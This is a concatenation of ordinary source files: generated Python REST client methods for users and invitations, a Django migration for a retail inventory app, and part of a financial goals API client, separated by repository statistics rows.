:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: InvitationList
"""
kwargs['_return_http_data_only'] = True
return self.find_invitations_with_http_info(**kwargs) # noqa: E501
def find_invitations_with_http_info(self, **kwargs): # noqa: E501
"""Retrieve current user invitations # noqa: E501
Returns all invitations in current user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.find_invitations_with_http_info(async_req=True)
>>> result = thread.get()
:param include: Nested attributes to include. Included objects will return their full attributes. Attribute names can be dotted (up to 3 levels) to included deeply nested objects.
:type include: list[str]
:param exclude: Nested attributes to exclude. Excluded objects will return only the href attribute. Attribute names can be dotted (up to 3 levels) to exclude deeply nested objects.
:type exclude: list[str]
:param page: Page to return
:type page: int
:param per_page: Items returned per page
:type per_page: int
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(InvitationList, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'include',
'exclude',
'page',
'per_page'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method find_invitations" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
if self.api_client.client_side_validation and 'page' in local_var_params and local_var_params['page'] > 100000: # noqa: E501
raise ApiValueError("Invalid value for parameter `page` when calling `find_invitations`, must be a value less than or equal to `100000`") # noqa: E501
if self.api_client.client_side_validation and 'page' in local_var_params and local_var_params['page'] < 1: # noqa: E501
raise ApiValueError("Invalid value for parameter `page` when calling `find_invitations`, must be a value greater than or equal to `1`") # noqa: E501
if self.api_client.client_side_validation and 'per_page' in local_var_params and local_var_params['per_page'] > 1000: # noqa: E501
raise ApiValueError("Invalid value for parameter `per_page` when calling `find_invitations`, must be a value less than or equal to `1000`") # noqa: E501
if self.api_client.client_side_validation and 'per_page' in local_var_params and local_var_params['per_page'] < 1: # noqa: E501
raise ApiValueError("Invalid value for parameter `per_page` when calling `find_invitations`, must be a value greater than or equal to `1`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'include' in local_var_params and local_var_params['include'] is not None: # noqa: E501
query_params.append(('include', local_var_params['include'])) # noqa: E501
collection_formats['include'] = 'csv' # noqa: E501
if 'exclude' in local_var_params and local_var_params['exclude'] is not None: # noqa: E501
query_params.append(('exclude', local_var_params['exclude'])) # noqa: E501
collection_formats['exclude'] = 'csv' # noqa: E501
if 'page' in local_var_params and local_var_params['page'] is not None: # noqa: E501
query_params.append(('page', local_var_params['page'])) # noqa: E501
if 'per_page' in local_var_params and local_var_params['per_page'] is not None: # noqa: E501
query_params.append(('per_page', local_var_params['per_page'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['x_auth_token'] # noqa: E501
response_types_map = {
200: "InvitationList",
401: "Error",
403: "Error",
404: "Error",
}
return self.api_client.call_api(
'/invitations', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_types_map=response_types_map,
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def find_user_by_id(self, id, **kwargs): # noqa: E501
"""Retrieve a user # noqa: E501
Returns a single user if the user has access # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.find_user_by_id(id, async_req=True)
>>> result = thread.get()
:param id: User UUID (required)
:type id: str
:param include: Nested attributes to include. Included objects will return their full attributes. Attribute names can be dotted (up to 3 levels) to included deeply nested objects.
:type include: list[str]
:param exclude: Nested attributes to exclude. Excluded objects will return only the href attribute. Attribute names can be dotted (up to 3 levels) to exclude deeply nested objects.
:type exclude: list[str]
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: User
"""
kwargs['_return_http_data_only'] = True
return self.find_user_by_id_with_http_info(id, **kwargs) # noqa: E501
def find_user_by_id_with_http_info(self, id, **kwargs): # noqa: E501
"""Retrieve a user # noqa: E501
Returns a single user if the user has access # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.find_user_by_id_with_http_info(id, async_req=True)
>>> result = thread.get()
:param id: User UUID (required)
:type id: str
:param include: Nested attributes to include. Included objects will return their full attributes. Attribute names can be dotted (up to 3 levels) to included deeply nested objects.
:type include: list[str]
:param exclude: Nested attributes to exclude. Excluded objects will return only the href attribute. Attribute names can be dotted (up to 3 levels) to exclude deeply nested objects.
:type exclude: list[str]
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(User, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'id',
'include',
'exclude'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method find_user_by_id" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `find_user_by_id`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
if 'include' in local_var_params and local_var_params['include'] is not None: # noqa: E501
query_params.append(('include', local_var_params['include'])) # noqa: E501
collection_formats['include'] = 'csv' # noqa: E501
if 'exclude' in local_var_params and local_var_params['exclude'] is not None: # noqa: E501
query_params.append(('exclude', local_var_params['exclude'])) # noqa: E501
collection_formats['exclude'] = 'csv' # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['x_auth_token'] # noqa: E501
response_types_map = {
200: "User",
401: "Error",
403: "Error",
404: "Error",
}
return self.api_client.call_api(
'/users/{id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_types_map=response_types_map,
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def find_user_customdata(self, id, **kwargs): # noqa: E501
"""Retrieve the custom metadata of a user # noqa: E501
Provides the custom metadata stored for this user in json format # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.find_user_customdata(id, async_req=True)
>>> result = thread.get()
:param id: User UUID (required)
:type id: str
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: None
"""
kwargs['_return_http_data_only'] = True
return self.find_user_customdata_with_http_info(id, **kwargs) # noqa: E501
def find_user_customdata_with_http_info(self, id, **kwargs): # noqa: E501
"""Retrieve the custom metadata of a user # noqa: E501
Provides the custom metadata stored for this user in json format # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.find_user_customdata_with_http_info(id, async_req=True)
>>> result = thread.get()
:param id: User UUID (required)
:type id: str
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: None
"""
local_var_params = locals()
all_params = [
'id'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method find_user_customdata" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `find_user_customdata`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['x_auth_token'] # noqa: E501
response_types_map = {}
return self.api_client.call_api(
'/users/{id}/customdata', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_types_map=response_types_map,
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def find_users(self, **kwargs): # noqa: E501
"""Retrieve all users # noqa: E501
Returns a list of users that the are accessible to the current user (all users in the current user’s projects, essentially). # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.find_users(async_req=True)
>>> result = thread.get()
:param include: Nested attributes to include. Included objects will return their full attributes. Attribute names can be dotted (up to 3 levels) to included deeply nested objects.
:type include: list[str]
:param exclude: Nested attributes to exclude. Excluded objects will return only the href attribute. Attribute names can be dotted (up to 3 levels) to exclude deeply nested objects.
:type exclude: list[str]
:param page: Page to return
:type page: int
:param per_page: Items returned per page
:type per_page: int
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: UserList
"""
kwargs['_return_http_data_only'] = True
return self.find_users_with_http_info(**kwargs) # noqa: E501
def find_users_with_http_info(self, **kwargs): # noqa: E501
"""Retrieve all users # noqa: E501
Returns a list of users that the are accessible to the current user (all users in the current user’s projects, essentially). # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.find_users_with_http_info(async_req=True)
>>> result = thread.get()
:param include: Nested attributes to include. Included objects will return their full attributes. Attribute names can be dotted (up to 3 levels) to included deeply nested objects.
:type include: list[str]
:param exclude: Nested attributes to exclude. Excluded objects will return only the href attribute. Attribute names can be dotted (up to 3 levels) to exclude deeply nested objects.
:type exclude: list[str]
:param page: Page to return
:type page: int
:param per_page: Items returned per page
:type per_page: int
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(UserList, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'include',
'exclude',
'page',
'per_page'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method find_users" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
if self.api_client.client_side_validation and 'page' in local_var_params and local_var_params['page'] > 100000: # noqa: E501
raise ApiValueError("Invalid value for parameter `page` when calling `find_users`, must be a value less than or equal to `100000`") # noqa: E501
if self.api_client.client_side_validation and 'page' in local_var_params and local_var_params['page'] < 1: # noqa: E501
raise ApiValueError("Invalid value for parameter `page` when calling `find_users`, must be a value greater than or equal to `1`") # noqa: E501
if self.api_client.client_side_validation and 'per_page' in local_var_params and local_var_params['per_page'] > 1000: # noqa: E501
raise ApiValueError("Invalid value for parameter `per_page` when calling `find_users`, must be a value less than or equal to `1000`") # noqa: E501
if self.api_client.client_side_validation and 'per_page' in local_var_params and local_var_params['per_page'] < 1: # noqa: E501
raise ApiValueError("Invalid value for parameter `per_page` when calling `find_users`, must be a value greater than or equal to `1`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'include' in local_var_params and local_var_params['include'] is not None: # noqa: E501
query_params.append(('include', local_var_params['include'])) # noqa: E501
collection_formats['include'] = 'csv' # noqa: E501
if 'exclude' in local_var_params and local_var_params['exclude'] is not None: # noqa: E501
query_params.append(('exclude', local_var_params['exclude'])) # noqa: E501
collection_formats['exclude'] = 'csv' # noqa: E501
if 'page' in local_var_params and local_var_params['page'] is not None: # noqa: E501
query_params.append(('page', local_var_params['page'])) # noqa: E501
if 'per_page' in local_var_params and local_var_params['per_page'] is not None: # noqa: E501
query_params.append(('per_page', local_var_params['per_page'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['x_auth_token'] # noqa: E501
response_types_map = {
200: "UserList",
401: "Error",
}
return self.api_client.call_api(
'/users', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_types_map=response_types_map,
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def update_current_user(self, user, **kwargs): # noqa: E501
"""Update the current user # noqa: E501
Updates the currently logged-in user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_current_user(user, async_req=True)
>>> result = thread.get()
:param user: User to update (required)
:type user: UserUpdateInput
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: User
"""
kwargs['_return_http_data_only'] = True
return self.update_current_user_with_http_info(user, **kwargs) # noqa: E501
def update_current_user_with_http_info(self, user, **kwargs): # noqa: E501
"""Update the current user # noqa: E501
Updates the currently logged-in user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_current_user_with_http_info(user, async_req=True)
>>> result = thread.get()
:param user: User to update (required)
:type user: UserUpdateInput
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(User, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'user'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method update_current_user" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'user' is set
if self.api_client.client_side_validation and ('user' not in local_var_params or # noqa: E501
local_var_params['user'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `user` when calling `update_current_user`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'user' in local_var_params:
body_params = local_var_params['user']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['x_auth_token'] # noqa: E501
response_types_map = {
200: "User",
401: "Error",
422: "Error",
}
return self.api_client.call_api(
'/user', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_types_map=response_types_map,
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
| 46.01857 | 312 | 0.601711 | 5,742 | 49,562 | 4.969 | 0.046848 | 0.040656 | 0.064279 | 0.026497 | 0.965898 | 0.964426 | 0.962358 | 0.960255 | 0.951248 | 0.943747 | 0 | 0.01661 | 0.325834 | 49,562 | 1,076 | 313 | 46.061338 | 0.837309 | 0.486744 | 0 | 0.778008 | 0 | 0.016598 | 0.183634 | 0.023919 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03112 | false | 0 | 0.010373 | 0 | 0.072614 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ca7f4c963fb94ac200ba383c430560a015a7cdeb | 5,882 | py | Python | automatic_replenishment_system/retail_core/migrations/0003_auto_20190421_1318.py | udwivedi394/automatic_replenishment | c2fde9a94329147ee33b3d7f4f8826378d278f51 | [
"MIT"
] | null | null | null | automatic_replenishment_system/retail_core/migrations/0003_auto_20190421_1318.py | udwivedi394/automatic_replenishment | c2fde9a94329147ee33b3d7f4f8826378d278f51 | [
"MIT"
] | null | null | null | automatic_replenishment_system/retail_core/migrations/0003_auto_20190421_1318.py | udwivedi394/automatic_replenishment | c2fde9a94329147ee33b3d7f4f8826378d278f51 | [
"MIT"
] | null | null | null | # Generated by Django 2.0.13 on 2019-04-21 13:18
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('retail_core', '0002_auto_20190421_0525'),
]
operations = [
migrations.CreateModel(
name='BSQModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_on', models.DateField(auto_now_add=True, db_index=True)),
('updated_at', models.DateField(auto_now=True, db_index=True)),
('bsq', models.IntegerField()),
],
options={
'verbose_name': 'BSQ',
'verbose_name_plural': 'BSQ',
},
),
migrations.RemoveField(
model_name='bsq',
name='brand_model',
),
migrations.RemoveField(
model_name='bsq',
name='product',
),
migrations.RemoveField(
model_name='bsq',
name='store',
),
migrations.AddField(
model_name='warehouseinventorymodel',
name='warehouse',
field=models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, to='retail_core.WarehouseModel'),
),
migrations.AlterField(
model_name='brandmodel',
name='created_on',
field=models.DateField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='brandmodel',
name='updated_at',
field=models.DateField(auto_now=True, db_index=True),
),
migrations.AlterField(
model_name='productmodel',
name='created_on',
field=models.DateField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='productmodel',
name='updated_at',
field=models.DateField(auto_now=True, db_index=True),
),
migrations.AlterField(
model_name='salestransaction',
name='created_on',
field=models.DateField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='salestransaction',
name='date',
field=models.DateField(),
),
migrations.AlterField(
model_name='salestransaction',
name='updated_at',
field=models.DateField(auto_now=True, db_index=True),
),
migrations.AlterField(
model_name='staticprioritymodel',
name='created_on',
field=models.DateField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='staticprioritymodel',
name='updated_at',
field=models.DateField(auto_now=True, db_index=True),
),
migrations.AlterField(
model_name='storeinventorymodel',
name='created_on',
field=models.DateField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='storeinventorymodel',
name='date',
field=models.DateField(),
),
migrations.AlterField(
model_name='storeinventorymodel',
name='updated_at',
field=models.DateField(auto_now=True, db_index=True),
),
migrations.AlterField(
model_name='storemodel',
name='created_on',
field=models.DateField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='storemodel',
name='updated_at',
field=models.DateField(auto_now=True, db_index=True),
),
migrations.AlterField(
model_name='storewarehousemappingmodel',
name='created_on',
field=models.DateField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='storewarehousemappingmodel',
name='updated_at',
field=models.DateField(auto_now=True, db_index=True),
),
migrations.AlterField(
model_name='warehouseinventorymodel',
name='created_on',
field=models.DateField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='warehouseinventorymodel',
name='date',
field=models.DateField(),
),
migrations.AlterField(
model_name='warehouseinventorymodel',
name='updated_at',
field=models.DateField(auto_now=True, db_index=True),
),
migrations.AlterField(
model_name='warehousemodel',
name='created_on',
field=models.DateField(auto_now_add=True, db_index=True),
),
migrations.AlterField(
model_name='warehousemodel',
name='updated_at',
field=models.DateField(auto_now=True, db_index=True),
),
migrations.DeleteModel(
name='BSQ',
),
migrations.AddField(
model_name='bsqmodel',
name='brand_model',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='retail_core.BrandModel'),
),
migrations.AddField(
model_name='bsqmodel',
name='product',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='retail_core.ProductModel'),
),
migrations.AddField(
model_name='bsqmodel',
name='store',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='retail_core.StoreModel'),
),
]
| 35.011905 | 139 | 0.568344 | 546 | 5,882 | 5.906593 | 0.141026 | 0.07814 | 0.162791 | 0.188837 | 0.818605 | 0.818605 | 0.714729 | 0.714729 | 0.703256 | 0.64155 | 0 | 0.007964 | 0.316899 | 5,882 | 167 | 140 | 35.221557 | 0.794674 | 0.00782 | 0 | 0.832298 | 1 | 0 | 0.147755 | 0.044738 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.012422 | 0 | 0.031056 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
04bf1fb541369695bc0eb3ba726d78b56dcb433a | 28,477 | py | Python | atom/proton/python/proton_api/api/goals_api.py | AbhiGupta03/SDK | f3a61aae7a847f07f0c22a154ca88dc378e9d25e | [
"Apache-2.0"
] | 11 | 2019-04-16T02:11:17.000Z | 2021-12-16T22:51:40.000Z | atom/proton/python/proton_api/api/goals_api.py | AbhiGupta03/SDK | f3a61aae7a847f07f0c22a154ca88dc378e9d25e | [
"Apache-2.0"
] | 81 | 2019-11-19T23:24:28.000Z | 2022-03-28T11:35:47.000Z | atom/proton/python/proton_api/api/goals_api.py | AbhiGupta03/SDK | f3a61aae7a847f07f0c22a154ca88dc378e9d25e | [
"Apache-2.0"
] | 11 | 2020-07-08T02:29:56.000Z | 2022-03-28T10:05:33.000Z | # coding: utf-8
"""
Hydrogen Proton API
Financial engineering module of Hydrogen Atom # noqa: E501
OpenAPI spec version: 1.9.2
Contact: info@hydrogenplatform.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from proton_api.api_client import ApiClient
class GoalsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def goal_accumulation_allocation(self, goal_accumulation_allocation_request, **kwargs): # noqa: E501
"""Goal Accumulation Allocation # noqa: E501
Allocate based on an accumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_accumulation_allocation(goal_accumulation_allocation_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalAccumulationAllocationRequest goal_accumulation_allocation_request: Request payload for Goal Accumulation Allocation (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.goal_accumulation_allocation_with_http_info(goal_accumulation_allocation_request, **kwargs) # noqa: E501
else:
(data) = self.goal_accumulation_allocation_with_http_info(goal_accumulation_allocation_request, **kwargs) # noqa: E501
return data
def goal_accumulation_allocation_with_http_info(self, goal_accumulation_allocation_request, **kwargs): # noqa: E501
"""Goal Accumulation Allocation # noqa: E501
Allocate based on an accumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_accumulation_allocation_with_http_info(goal_accumulation_allocation_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalAccumulationAllocationRequest goal_accumulation_allocation_request: Request payload for Goal Accumulation Allocation (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['goal_accumulation_allocation_request'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method goal_accumulation_allocation" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'goal_accumulation_allocation_request' is set
if self.api_client.client_side_validation and ('goal_accumulation_allocation_request' not in params or
params['goal_accumulation_allocation_request'] is None): # noqa: E501
raise ValueError("Missing the required parameter `goal_accumulation_allocation_request` when calling `goal_accumulation_allocation`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'goal_accumulation_allocation_request' in params:
body_params = params['goal_accumulation_allocation_request']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2'] # noqa: E501
return self.api_client.call_api(
'/goal_accumulation/allocation', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='dict(str, object)', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
